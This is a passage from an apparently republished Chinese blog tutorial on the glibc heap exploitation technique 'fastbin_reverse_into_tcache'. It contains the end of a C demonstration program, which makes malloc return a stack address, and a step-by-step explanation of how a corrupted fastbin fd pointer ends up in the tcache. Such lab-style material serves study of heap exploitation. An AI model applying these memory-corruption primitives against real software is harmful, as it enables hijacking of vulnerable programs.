  printf("\n目前 tcache 为空,但 fastbin 不是,因此下一个分配来自 fastbin。另外,fastbin 中的 7 个块用于重新填充 tcache。这 7 个块以相反的顺序复制到 tcache 中,因此我们所针对的堆栈地址最终成为 tcache 中的第一个块。它包含一个指向列表中下一个块的指针,这就是为什么将堆指针写入堆栈的原因。前面我们说过,如果释放少于6个额外的指向fastbin的指针,但仅当堆栈上的值为零时,攻击也将起作用。这是因为堆栈上的值被视为链表中的下一个指针,并且如果它不是有效的指针或为null,它将触发崩溃。现在,数组在堆栈上的内容如下所示:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);
  printf("最后再分配一次就得到位于栈上的 chunk %p\n",q);

  assert(q == (char *)&stack_var[2]);
  return 0;
}

一开始 malloc 了 14 个 chunk,free 掉 7 个把 tcache 的链表填满

接下来 free 的 chunk 因为 tcache 已经满了,所以会放到 fastbin 的链表中,我们将第一个放入 fastbin 的 chunk 称为 victim

在栈上定义了一个数组,希望能 malloc 到这里,假设存在 UAF 或者堆溢出之类的漏洞,能够修改 victim 的 fd 指针为目标地址(即 stack_var)

然后连续 malloc 把 tcache 清空,再去 malloc 会从 fastbin 中取

同时会把 fastbin 链表按照相反的顺序插入到 tcache 中,这样 tcache 中的第一个就成了 victim 的 fd 指针指向的那个 stack_var[0],同时 stack_var[0] 的 fd 指针为 victim 的地址

这时候再 malloc 回来的就是 stack_var[0],而 stack_var[0] 的 fd 指针是 victim 的地址

最终实现的就是:目标地址的 fd+0x10 写上了一个堆的地址

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • large_bin_attack
  • house_of_einherjar
  • house_of_orange
  • house_of_roman
  • tcache_dup
  • tcache_poisoning
  • tcache_house_of_spirit
  • house_of_botcake
  • tcache_stashing_unlink_attack
  • fastbin_reverse_into_tcache
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档